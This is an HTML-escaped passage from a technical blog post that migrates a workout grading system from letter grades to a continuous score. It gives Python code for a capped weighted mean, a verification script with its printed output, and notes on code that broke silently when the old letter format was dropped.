&lt;p&gt;A continuous scale lets the same rule become arithmetic.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;Aggregation, with the safety rail expressed as arithmetic.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; stars &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; SCORE_FLOOR&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# SCORE_FLOOR + HEADROOM is the value the old discrete cap pinned to, so this&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# reproduces that rule exactly at the old boundary and degrades linearly on&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# either side of it instead of stepping.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;HEADROOM &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 2.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; overall&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(rows, weights):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;Weighted mean, never allowed to sit more than HEADROOM above the worst row.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    Returns (capped, uncapped) so the card can say why they disagree.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    graded &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {m: s &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; m, s &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rows.items() &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; s &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; not&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; not&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; graded:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None, None&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    total_weight &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; sum&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(weights[m] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; m &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; graded)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    mean &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; sum&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(s &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; weights[m] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; m, s &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; graded.items()) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; total_weight&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    capped &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; min&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(mean, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;min&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(graded.values()) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; HEADROOM)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; round&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(capped, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;round&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(mean, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;assert&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; overall({&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: SCORE_FLOOR, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;5.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}, {&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;b&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;})[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 3.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;SCORE_FLOOR + HEADROOM&lt;/code&gt; is 3.0, which is exactly the C the old cap pinned to.
That is the second place the migration inherits rather than invents: the new
rule reproduces the old one at the old boundary, then degrades smoothly on
either side of it. On the real corpus it catches all ten cards the discrete cap
caught, plus sixteen more whose worst row was merely bad rather than floored,
which the stepping version ignored completely.&lt;/p&gt;
&lt;p&gt;Returning both numbers is worth the extra tuple element. When the capped and
uncapped values disagree, the card can say so, and a summary that explains why
it is lower than its own average is a summary people believe.&lt;/p&gt;
&lt;h2&gt;Run it and confirm the scale opened up&lt;/h2&gt;
&lt;p&gt;Do not take the change on faith. Assert the knots did not move, then re-run the
occupancy measurement from the first block on the same inputs.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;Prove the knots survived the swap, then compare how much scale each uses.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; random&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; grader &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; grade_from_deviation, occupancy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; stars &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ANCHORS, KNOTS, display_score, score_from_deviation&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; overall &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; overall&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# 1. Every old band edge still lands exactly on a whole score.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i, edge &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; enumerate&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(KNOTS):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    got &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; score_from_deviation(edge, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;pace&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    want &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 4.0&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; i&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    assert&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; abs&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(got &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; want) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1e-9&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;knot &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;edge&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; moved: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;got&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; != &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;want&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;knots:&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, KNOTS)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;anchors:&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;tuple&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;round&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(z, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;), s) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; z, s &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ANCHORS))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;every old band edge still lands on a whole score&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# 2. Same deviations, both scales.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;random.seed(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;deviations &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;abs&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(random.gauss(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.09&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; _ &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;240&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;old &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [grade_from_deviation(d) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; d &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; deviations]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;new &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [display_score(score_from_deviation(d, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;pace&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; d &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; deviations]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;old&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, occupancy(old))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;new&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, occupancy(new))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# 3. The rail is arithmetic, so it degrades instead of stepping.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;weights &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;pace&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.42&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;distance&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.33&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;hr&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0.25&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; worst &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1.5&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2.5&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    rows &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;pace&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: worst, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;distance&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;5.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;hr&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;5.0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    capped, mean &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; overall(rows, weights)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;worst row &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;worst&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;: overall &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;capped&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; (uncapped &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;mean&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Save the three blocks as &lt;code&gt;grader.py&lt;/code&gt;, &lt;code&gt;stars.py&lt;/code&gt; and &lt;code&gt;overall.py&lt;/code&gt;, this one as
&lt;code&gt;check_scale.py&lt;/code&gt;, and run it. That is the whole dependency list; it is stdlib
Python. Here is what it printed for me:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;knots: (0.05, 0.1, 0.2, 0.35)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;anchors: ((0.0, 5.0), (0.1429, 4.0), (0.2857, 3.0), (0.5714, 2.0), (1.0, 1.0))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;every old band edge still lands on a whole score&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;old {&apos;n&apos;: 240, &apos;levels_used&apos;: 4, &apos;most_common&apos;: &apos;A&apos;, &apos;most_common_share&apos;: 0.421}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;new {&apos;n&apos;: 240, &apos;levels_used&apos;: 14, &apos;most_common&apos;: 2.75, &apos;most_common_share&apos;: 0.125}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;worst row 1.0: overall 3.0 (uncapped 3.32)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;worst row 1.5: overall 3.5 (uncapped 3.53)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;worst row 2.5: overall 3.95 (uncapped 3.95)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Four occupied levels became fourteen, and the pile-up on one value fell from 42%
to 12.5%, on identical inputs. The bottom three lines are the rail behaving like
arithmetic: a floored row still pins the overall to exactly 3.0, a merely-bad
row of 1.5 pulls it down slightly, and a 2.5 leaves the mean alone.&lt;/p&gt;
&lt;p&gt;On the real corpus the shape held. The overall went from 4 occupied levels to
12, perfect scores halved from 33% to 17%, and pace, which carries the heaviest
weight on easy and quality days, went from 5 letters to 15 levels. Rank
agreement with the old score is 0.944 across all 27,730 card pairs, and the 5.6%
that reorder are the cards where the modifier was carrying the difference the
letter threw away.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Every site that parsed the old representation breaks silently.&lt;/strong&gt; A letter
grade invites &lt;code&gt;grade[0]&lt;/code&gt; as a way to get the base letter, and that slice gets
re-implemented wherever someone needs it. Four places in this codebase had their
own copy. Under a numeric score none of them raised: a distribution quietly
emptied while the line that printed it kept printing, a suppression rule stopped
firing so a badly-run quality day was promoted back into the coach’s receipts as
“done as prescribed”, a CSS class name matched no rule and the card still
rendered cleanly, and a calibration script skipped every metric and exited 0. Of
everything touching the old scale, only one pinned description failed loudly.
